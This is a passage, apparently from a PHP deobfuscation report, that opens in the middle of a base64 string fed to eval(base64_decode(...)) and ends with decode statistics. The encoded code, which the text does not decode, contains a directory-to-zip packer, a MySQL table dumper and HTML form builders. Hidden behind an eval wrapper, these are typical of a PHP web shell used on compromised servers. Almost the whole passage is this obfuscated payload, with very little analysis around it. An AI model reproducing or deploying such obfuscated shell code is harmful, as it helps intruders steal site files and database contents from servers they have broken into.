kID0gZm9wZW4gKCRmaWxlbmFtZSwgJ3InKTsNCgkJCQkJCSRjb250ZW50ID0gQGZyZWFkICgkZmQsIGZpbGVzaXplKCRmaWxlbmFtZSkpOw0KCQkJCQkJZmNsb3NlICgkZmQpOw0KCQkJCQkJaWYgKGlzX2FycmF5KCRkaXIpKSAkZmlsZW5hbWUgPSBiYXNlbmFtZSgkZmlsZW5hbWUpOw0KCQkJCQkJJHRoaXMgLT4gYWRkRmlsZSgkY29udGVudCwgJGZpbGVuYW1lKTsNCgkJCQkJfQ0KCQkJCX0NCgkJCQkkdGhpcy0+b3V0ID0gJHRoaXMgLT4gZmlsZSgpOw0KCQkJCWNoZGlyKCRjdXJkaXIpOw0KCQkJfQ0KCQkJcmV0dXJuIDE7DQoJCX0NCgkJZWxzZSByZXR1cm4gMDsNCgl9DQoNCgkvLyBTaG93IGZpbGUgbGlzdA0KCWZ1bmN0aW9uIEdldEZpbGVMaXN0KCRkaXIpew0KCQlzdGF0aWMgJGE7DQoJCWlmIChpc19kaXIoJGRpcikpIHsNCgkJCWlmICgkZGggPSBvcGVuZGlyKCRkaXIpKSB7DQoJCQkJd2hpbGUgKCRmaWxlID0gcmVhZGRpcigkZGgpKSB7DQoJCQkJCWlmKCRmaWxlIT0nLicgJiYgJGZpbGUhPScuLicpew0KCQkJCQkJJGY9JGRpciAuJy8nLiAkZmlsZTsNCgkJCQkJCWlmKGlzX2RpcigkZikpICR0aGlzLT5HZXRGaWxlTGlzdCgkZik7DQoJCQkJCQkkYVtdPSRmOw0KCQkJCQl9DQoJCQkJfQ0KCQkJCWNsb3NlZGlyKCRkaCk7DQoJCQl9DQoJCX0NCgkJcmV0dXJuICRhOw0KCX0NCg0KCXZhciAkZGF0YXNlYyAgICAgID0gYXJyYXkoKTsNCgl2YXIgJGN0cmxfZGlyICAgICA9IGFycmF5KCk7DQoJdmFyICRlb2ZfY3RybF9kaXIgPSAiXHg1MFx4NGJceDA1XHgwNlx4MDBceDAwXHgwMFx4MDAiOw0KCXZhciAkb2xkX29mZnNldCAgID0gMDsNCg0KCWZ1bmN0aW9uIHVuaXgyRG9zVGltZSgkdW5peHRpbWUgPSAwKSB7DQoJCSR0aW1lYXJyYXkgPSAoJHVuaXh0aW1lID09IDApID8gZ2V0ZGF0ZSgpIDogZ2V0ZGF0ZSgkdW5peHRpbWUpOw0KCQlpZiAoJHRpbWVhcnJheVsneWVhciddIDwgMTk4MCkgew0KCQkJJHRpbWVhcnJheVsneWVhciddICAgID0gMTk4MDsNCgkJCSR0aW1lYXJyYXlbJ21vbiddICAgICA9IDE7DQoJCQkkdGltZWFycmF5WydtZGF5J10gICAgPSAxOw0KCQkJJHRpbWVhcnJheVsnaG91cnMnXSAgID0gMDsNCgkJCSR0aW1lYXJyYXlbJ21pbnV0ZXMnXSA9IDA7DQoJCQkkdGltZWFycmF5WydzZWNvbmRzJ10gPSAwOw0KCQl9IC8vIGVuZCBpZg0KCQlyZXR1cm4gKCgkdGltZWFycmF5Wyd5ZWFyJ10gLSAxOTgwKSA8PCAyNSkgfCAoJHRpbWVhcnJheVsnbW9uJ10gPDwgMjEpIHwgKCR0aW1lYXJyYXlbJ21kYXknXSA8PCAxNikgfA0KCQkJCSgkdGltZWFycmF5Wydob3VycyddIDw8IDExKSB8ICgkdGltZWFycmF5WydtaW51dGVzJ10gPDwgNSkgfCAoJHRpbWVhcnJheVsnc2Vjb25kcyddID4+IDEpOw0KCX0NCg0KCWZ1bmN0aW9uIGFkZEZpbGUoJGRhdGEsICRuYW1lLCAkdGltZSA9IDApIHsNCgkJJG5hbWUgPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRuYW1lKTsNCg0KCQkkZHRpbWUgPSBkZWNoZXgoJHRoaXMtPnVuaXgyRG9zVGltZSgkdGltZSkpOw0KCQkkaGV4ZHRpbWUJPSAnXHgnIC4gJGR0aW1lWzZdIC4gJGR0aW1lWzddDQoJCQkJCS4gJ1x4JyAuICRkdGltZVs0XSAuICRkdGltZVs1XQ0KCQkJCQkuICdceCcgLiAkZHRpbWVbMl0gLiAkZHRpbWVbM10NCgkJCQkJLiAnXHgnIC4gJGR0aW1lWzBdIC4gJGR0aW1lWzFdOw0KCQlldmFsKCckaGV4ZHRpbWUgPSAiJyAuICRoZXhkdGltZSAuICciOycpOw0KCQkkZnIJPSAiXHg1MFx4NGJceDAzXHgwNCI7DQoJCSRmcgkuPSAiXHgxNFx4MDAiOw0KCQkkZnIJLj0gIlx4MDBceDAwIjsNCgkJJGZyCS49ICJceDA4XHgwMCI7DQoJCSRmcgkuPSAkaGV4ZHRpbWU7DQoNCgkJJHVuY19sZW4gPSBzdHJsZW4oJGRhdGEpOw0KCQkkY3JjID0gY3JjMzIoJGRhdGEpOw0KCQkkemRhdGEgPSBnemNvbXByZXNzKCRkYXRhKTsNCgkJJGNfbGVuID0gc3RybGVuKCR6ZGF0YSk7DQoJCSR6ZGF0YSA9IHN1YnN0cihzdWJzdHIoJHpkYXRhLCAwLCBzdHJsZW4oJHpkYXRhKSAtIDQpLCAyKTsNCgkJJGZyIC49IHBhY2soJ1YnLCAkY3JjKTsNCgkJJGZyIC49IHBhY2soJ1YnLCAkY19sZW4pOw0KCQkkZnIgLj0gcGFjaygnVicsICR1bmNfbGVuKTsNCgkJJGZyIC49IHBhY2soJ3YnLCBzdHJsZW4oJG5hbWUpKTsNCgkJJGZyIC49IHBhY2soJ3YnLCAwKTsNCgkJJGZyIC49ICRuYW1lOw0KCQkkZnIgLj0gJHpkYXRhOw0KCQkkZnIgLj0gcGFjaygnVicsICRjcmMpOw0KCQkkZnIgLj0gcGFjaygnVicsICRjX2xlbik7DQoJCSRmciAuPSBwYWNrKCdWJywgJHVuY19sZW4pOw0KDQoJCSR0aGlzIC0+IGRhdGFzZWNbXSA9ICRmcjsNCgkJJG5ld19vZmZzZXQgPSBzdHJsZW4oaW1wbG9kZSgnJywgJHRoaXMtPmRhdGFzZWMpKTsNCg0KCQkkY2RyZWMgPSAiXHg1MFx4NGJceDAxXHgwMiI7DQoJCSRjZHJlYyAuPSAiXHgwMFx4MDAiOw0KCQkkY2RyZWMgLj0gIlx4MTRceDAwIjsNCgkJJGNkcmVjIC49ICJceDAwXHgwMCI7DQoJCSRjZHJlYyAuPSAiXHgwOFx4MDAiOw0KCQkkY2RyZWMgLj0gJGhleGR0aW1lOw0KCQkkY2RyZWMgLj0gcGFjaygnVicsICRjcmMpOw0KCQkkY2RyZWMgLj0gcGFjaygnVicsICRjX2xlbik7DQoJCSRjZHJlYyAuPSBwYWNrKCdWJywgJHVuY19sZW4pOw0KCQkkY2RyZWMgLj0gcGFjaygndicsIHN0cmxlbigkbmFtZSkgKTsNCgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7DQoJCSRjZHJlYyAuPSBwYWNrKCd2JywgMCApOw0KCQkkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7DQoJCSRjZHJlYyAuPSBwYWNrKCdWJywgMzIgKTsNCgkJJGNkcmVjIC49IHBhY2soJ1YnLCAkdGhpcyAtPiBvbGRfb2Zmc2V0ICk7DQoJCSR0aGlzIC0+IG9sZF9vZmZzZXQgPSAkbmV3X29mZnNldDsNCgkJJGNkcmVjIC49ICRuYW1lOw0KDQoJCSR0aGlzIC0+IGN0cmxfZGlyW10gPSAkY2RyZWM7DQoJfQ0KDQoJZnVuY3Rpb24gZmlsZSgpIHsNCgkJJGRhdGEgICAgPSBpbXBsb2RlKCcnLCAkdGhpcyAtPiBkYXRhc2VjKTsNCgkJJGN0cmxkaXIgPSBpbXBsb2RlKCcnLCAkdGhpcyAtPiBjdHJsX2Rpcik7DQoJCXJldHVybiAkZGF0YSAuICRjdHJsZGlyIC4gJHRoaXMgLT4gZW9mX2N0cmxfZGlyIC4gcGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpIC4gcGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpIC4JcGFjaygnVicsIHN0cmxlbigkY3RybGRpcikpIC4gcGFjaygnVicsIHN0cmxlbigkZGF0YSkpIC4gIlx4MDBceDAwIjsNCgl9DQp9DQoNCi8vIER1bXAgbXlzcWwNCmZ1bmN0aW9uIHNxbGR1bXB0YWJsZSgkdGFibGUsICRmcD0wKSB7DQoJJHRhYmxlZHVtcCA9ICJEUk9QIFRBQkxFIElGIEVYSVNUUyAkdGFibGU7XG4iOw0KCSR0YWJsZWR1bXAgLj0gIkNSRUFURSBUQUJMRSAkdGFibGUgKFxuIjsNCg0KCSRmaXJzdGZpZWxkPTE7DQoNCgkkZmllbGRzID0gcSgiU0hPVyBGSUVMRFMgRlJPTSAkdGFibGUiKTsNCgl3aGlsZSAoJGZpZWxkID0gbXlzcWxfZmV0Y2hfYXJyYXkoJGZpZWxkcykpIHsNCgkJaWYgKCEkZmlyc3RmaWVsZCkgew0KCQkJJHRhYmxlZHVtcCAuPSAiLFxuIjsNCgkJfSBlbHNlIHsNCgkJCSRmaXJzdGZpZWxkPTA7DQoJCX0NCgkJJHRhYmxlZHVtcCAuPSAiICAgJGZpZWxkW0ZpZWxkXSAkZmllbGRbVHlwZV0iOw0KCQlpZiAoIWVtcHR5KCRmaWVsZFsiRGVmYXVsdCJdKSkgew0KCQkJJHRhYmxlZHVtcCAuPSAiIERFRkFVTFQgJyRmaWVsZFtEZWZhdWx0XSciOw0KCQl9DQoJCWlmICgkZmllbGRbJ051bGwnXSAhPSAiWUVTIikgew0KCQkJJHRhYmxlZHVtcCAuPSAiIE5PVCBOVUxMIjsNCgkJfQ0KCQlpZiAoJGZpZWxkWydFeHRyYSddICE9ICIiKSB7DQoJCQkkdGFibGVkdW1wIC49ICIgJGZpZWxkW0V4dHJhXSI7DQoJCX0NCgl9DQoJZnIoJGZpZWxkcyk7DQoNCgkka2V5cyA9IHEoIlNIT1cgS0VZUyBGUk9NICR0YWJsZSIpOw0KCXdoaWxlICgka2V5ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJGtleXMpKSB7DQoJCSRrbmFtZT0ka2V5WydLZXlfbmFtZSddOw0KCQlpZiAoJGtuYW1lICE9ICJQUklNQVJZIiAmJiAka2V5WydOb25fdW5pcXVlJ10gPT0gMCkgew0KCQkJJGtuYW1lPSJVTklRVUV8JGtuYW1lIjsNCgkJfQ0KCQlpZighaXNfYXJyYXkoJGluZGV4WyRrbmFtZV0pKSB7DQoJCQkkaW5kZXhbJGtuYW1lXSA9IGFycmF5KCk7DQoJCX0NCgkJJGluZGV4WyRrbmFtZV1bXSA9ICRrZXlbJ0NvbHVtbl9uYW1lJ107DQoJfQ0KCWZyKCRrZXlzKTsNCg0KCXdoaWxlKGxpc3QoJGtuYW1lLCAkY29sdW1ucykgPSBAZWFjaCgkaW5kZXgpKSB7DQoJCSR0YWJsZWR1bXAgLj0gIixcbiI7DQoJCSRjb2xuYW1lcz1pbXBsb2RlKCRjb2x1bW5zLCIsIik7DQoNCgkJaWYgKCRrbmFtZSA9PSAiUFJJTUFSWSIpIHsNCgkJCSR0YWJsZWR1bXAgLj0gIiAgIFBSSU1BUlkgS0VZICgkY29sbmFtZXMpIjsNCgkJfSBlbHNlIHsNCgkJCWlmIChzdWJzdHIoJGtuYW1lLDAsNikgPT0gIlVOSVFVRSIpIHsNCgkJCQkka25hbWU9c3Vic3RyKCRrbmFtZSw3KTsNCgkJCX0NCgkJCSR0YWJsZWR1bXAgLj0gIiAgIEtFWSAka25hbWUgKCRjb2xuYW1lcykiOw0KCQl9DQoJfQ0KDQoJJHRhYmxlZHVtcCAuPSAiXG4pO1xuXG4iOw0KCWlmICgkZnApIHsNCgkJZndyaXRlKCRmcCwkdGFibGVkdW1wKTsNCgl9IGVsc2Ugew0KCQllY2hvICR0YWJsZWR1bXA7DQoJfQ0KDQoJJHJvd3MgPSBxKCJTRUxFQ1QgKiBGUk9NICR0YWJsZSIpOw0KCSRudW1maWVsZHMgPSBteXNxbF9udW1fZmllbGRzKCRyb3dzKTsNCgl3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyb3dzKSkgew0KCQkkdGFibGVkdW1wID0gIklOU0VSVCBJTlRPICR0YWJsZSBWQUxVRVMoIjsNCg0KCQkkZmllbGRjb3VudGVyPS0xOw0KCQkkZmlyc3RmaWVsZD0xOw0KCQl3aGlsZSAoKyskZmllbGRjb3VudGVyPCRudW1maWVsZHMpIHsNCgkJCWlmICghJGZpcnN0ZmllbGQpIHsNCgkJCQkkdGFibGVkdW1wLj0iLCAiOw0KCQkJfSBlbHNlIHsNCgkJCQkkZmlyc3RmaWVsZD0wOw0KCQkJfQ0KDQoJCQlpZiAoIWlzc2V0KCRyb3dbJGZpZWxkY291bnRlcl0pKSB7DQoJCQkJJHRhYmxlZHVtcCAuPSAiTlVMTCI7DQoJCQl9IGVsc2Ugew0KCQkJCSR0YWJsZWR1bXAgLj0gIiciLm15c3FsX2VzY2FwZV9zdHJpbmcoJHJvd1skZmllbGRjb3VudGVyXSkuIiciOw0KCQkJfQ0KCQl9DQoNCgkJJHRhYmxlZHVtcCAuPSAiKTtcbiI7DQoNCgkJaWYgKCRmcCkgew0KCQkJZndyaXRlKCRmcCwkdGFibGVkdW1wKTsNCgkJfSBlbHNlIHsNCgkJCWVjaG8gJHRhYmxlZHVtcDsNCgkJfQ0KCX0NCglmcigkcm93cyk7DQoJaWYgKCRmcCkgew0KCQlmd3JpdGUoJGZwLCJcbiIpOw0KCX0gZWxzZSB7DQoJCWVjaG8gIlxuIjsNCgl9DQp9DQoNCmZ1bmN0aW9uIHVlKCRzdHIpew0KCXJldHVybiB1cmxlbmNvZGUoJHN0cik7DQp9DQoNCmZ1bmN0aW9uIHAoJHN0cil7DQoJZWNobyAkc3RyLiJcbiI7DQp9DQoNCmZ1bmN0aW9uIHRiaGVhZCgpIHsNCglwKCc8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjQiIGNlbGxzcGFjaW5nPSIwIj4nKTsNCn0NCmZ1bmN0aW9uIHRiZm9vdCgpew0KCXAoJzwvdGFibGU+Jyk7DQp9DQoNCmZ1bmN0aW9uIG1ha2VoaWRlKCRuYW1lLCR2YWx1ZT0nJyl7DQoJcCgiPGlucHV0IGlkPVwiJG5hbWVcIiB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cIiRuYW1lXCIgdmFsdWU9XCIkdmFsdWVcIiAvPiIpOw0KfQ0KDQpmdW5jdGlvbiBtYWtlaW5wdXQoJGFyZyA9IGFycmF5KCkpew0KCSRhcmdbJ3NpemUnXSA9ICRhcmdbJ3NpemUnXSA+IDAgPyAic2l6ZT1cIiRhcmdbc2l6ZV1cIiIgOiAic2l6ZT1cIjEwMFwiIjsNCgkkYXJnWydleHRyYSddID0gJGFyZ1snZXh0cmEnXSA/ICRhcmdbJ2V4dHJhJ10gOiAnJzsNCgkhJGFyZ1sndHlwZSddICYmICRhcmdbJ3R5cGUnXSA9ICd0ZXh0JzsNCgkkYXJnWyd0aXRsZSddID0gJGFyZ1sndGl0bGUnXSA/ICRhcmdbJ3RpdGxlJ10uJzxiciAvPicgOiAnJzsNCgkkYXJnWydjbGFzcyddID0gJGFyZ1snY2xhc3MnXSA/ICRhcmdbJ2NsYXNzJ10gOiAnaW5wdXQnOw0KCWlmICgkYXJnWyduZXdsaW5lJ10pIHsNCgkJcCgiPHA+JGFyZ1t0aXRsZV08aW5wdXQgY2xhc3M9XCIkYXJnW2NsYXNzXVwiIG5hbWU9XCIkYXJnW25hbWVdXCIgaWQ9XCIkYXJnW25hbWVdXCIgdmFsdWU9XCIkYXJnW3ZhbHVlXVwiIHR5cGU9XCIkYXJnW3R5cGVdXCIgJGFyZ1tzaXplXSAkYXJnW2V4dHJhXSAvPjwvcD4iKTsNCgl9IGVsc2Ugew0KCQlwKCIkYXJnW3RpdGxlXTxpbnB1dCBjbGFzcz1cIiRhcmdbY2xhc3NdXCIgbmFtZT1cIiRhcmdbbmFtZV1cIiBpZD1cIiRhcmdbbmFtZV1cIiB2YWx1ZT1cIiRhcmdbdmFsdWVdXCIgdHlwZT1cIiRhcmdbdHlwZV1cIiAkYXJnW3NpemVdICRhcmdbZXh0cmFdIC8+Iik7DQoJfQ0KfQ0KDQpmdW5jdGlvbiBtYWtlc2VsZWN0KCRhcmcgPSBhcnJheSgpKXsNCglpZiAoJGFyZ1snb25jaGFuZ2UnXSkgew0KCQkkb25jaGFuZ2UgPSAnb25jaGFuZ2U9IicuJGFyZ1snb25jaGFuZ2UnXS4nIic7DQoJfQ0KCSRhcmdbJ3RpdGxlJ10gPSAkYXJnWyd0aXRsZSddID8gJGFyZ1sndGl0bGUnXSA6ICcnOw0KCWlmICgkYXJnWyduZXdsaW5lJ10pIHAoJzxwPicpOw0KCXAoIiRhcmdbdGl0bGVdIDxzZWxlY3QgY2xhc3M9XCJpbnB1dFwiIGlkPVwiJGFyZ1tuYW1lXVwiIG5hbWU9XCIkYXJnW25hbWVdXCIgJG9uY2hhbmdlPiIpOw0KCQlpZiAoaXNfYXJyYXkoJGFyZ1snb3B0aW9uJ10pKSB7DQoJCQlmb3JlYWNoICgkYXJnWydvcHRpb24nXSBhcyAka2V5PT4kdmFsdWUpIHsNCgkJCQlpZiAoJGFyZ1snc2VsZWN0ZWQnXT09JGtleSkgew0KCQkJCQlwKCI8b3B0aW9uIHZhbHVlPVwiJGtleVwiIHNlbGVjdGVkPiR2YWx1ZTwvb3B0aW9uPiIpOw0KCQkJCX0gZWxzZSB7DQoJCQkJCXAoIjxvcHRpb24gdmFsdWU9XCIka2V5XCI+JHZhbHVlPC9vcHRpb24+Iik7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJcCgiPC9zZWxlY3Q+Iik7DQoJaWYgKCRhcmdbJ25ld2xpbmUnXSkgcCgnPC9wPicpOw0KfQ0KZnVuY3Rpb24gZm9ybWhlYWQoJGFyZyA9IGFycmF5KCkpIHsNCgkhJGFyZ1snbWV0aG9kJ10gJiYgJGFyZ1snbWV0aG9kJ10gPSAncG9zdCc7DQoJISRhcmdbJ2FjdGlvbiddICYmICRhcmdbJ2FjdGlvbiddID0gJHNlbGY7DQoJJGFyZ1sndGFyZ2V0J10gPSAkYXJnWyd0YXJnZXQnXSA/ICJ0YXJnZXQ9XCIkYXJnW3RhcmdldF1cIiIgOiAnJzsNCgkhJGFyZ1snbmFtZSddICYmICRhcmdbJ25hbWUnXSA9ICdmb3JtMSc7DQoJcCgiPGZvcm0gbmFtZT1cIiRhcmdbbmFtZV1cIiBpZD1cIiRhcmdbbmFtZV1cIiBhY3Rpb249XCIkYXJnW2FjdGlvbl1cIiBtZXRob2Q9XCIkYXJnW21ldGhvZF1cIiAkYXJnW3RhcmdldF0+Iik7DQoJaWYgKCRhcmdbJ3RpdGxlJ10pIHsNCgkJcCgnPGgyPicuJGFyZ1sndGl0bGUnXS4nICZyYXF1bzs8L2gyPicpOw0KCX0NCn0NCg0KZnVuY3Rpb24gbWFrZXRleHQoJGFyZyA9IGFycmF5KCkpew0KCSEkYXJnWydjb2xzJ10gJiYgJGFyZ1snY29scyddID0gMTAwOw0KCSEkYXJnWydyb3dzJ10gJiYgJGFyZ1sncm93cyddID0gMjU7DQoJJGFyZ1sndGl0bGUnXSA9ICRhcmdbJ3RpdGxlJ10gPyAkYXJnWyd0aXRsZSddLic8YnIgLz4nIDogJyc7DQoJcCgiPHA+JGFyZ1t0aXRsZV08dGV4dGFyZWEgY2xhc3M9XCJhcmVhXCIgaWQ9XCIkYXJnW25hbWVdXCIgbmFtZT1cIiRhcmdbbmFtZV1cIiBjb2xzPVwiJGFyZ1tjb2xzXVwiIHJvd3M9XCIkYXJnW3Jvd3NdXCIgJGFyZ1tleHRyYV0+JGFyZ1t2YWx1ZV08L3RleHRhcmVhPjwvcD4iKTsNCn0NCg0KZnVuY3Rpb24gZm9ybWZvb3RlcigkbmFtZSA9ICcnKXsNCgkhJG5hbWUgJiYgJG5hbWUgPSAnc3VibWl0JzsNCglwKCc8cD48aW5wdXQgY2xhc3M9ImJ0IiBuYW1lPSInLiRuYW1lLiciIGlkPVwiJy4kbmFtZS4nXCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU3VibWl0Ij48L3A+Jyk7DQoJcCgnPC9mb3JtPicpOw0KfQ0KDQpmdW5jdGlvbiBmb3JtZm9vdCgpew0KCXAoJzwvZm9ybT4nKTsNCn0NCg0KLy8gRXhpdA0KZnVuY3Rpb24gcHIoJGEpIHsNCgllY2hvICc8cHJlPic7DQoJcHJpbnRfcigkYSk7DQoJZWNobyAnPC9wcmU+JzsNCn0NCj8+")); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 0e6c7bcaeb153adc3627d3c0b63b6768
Eval Count 1
Decode Time 296 ms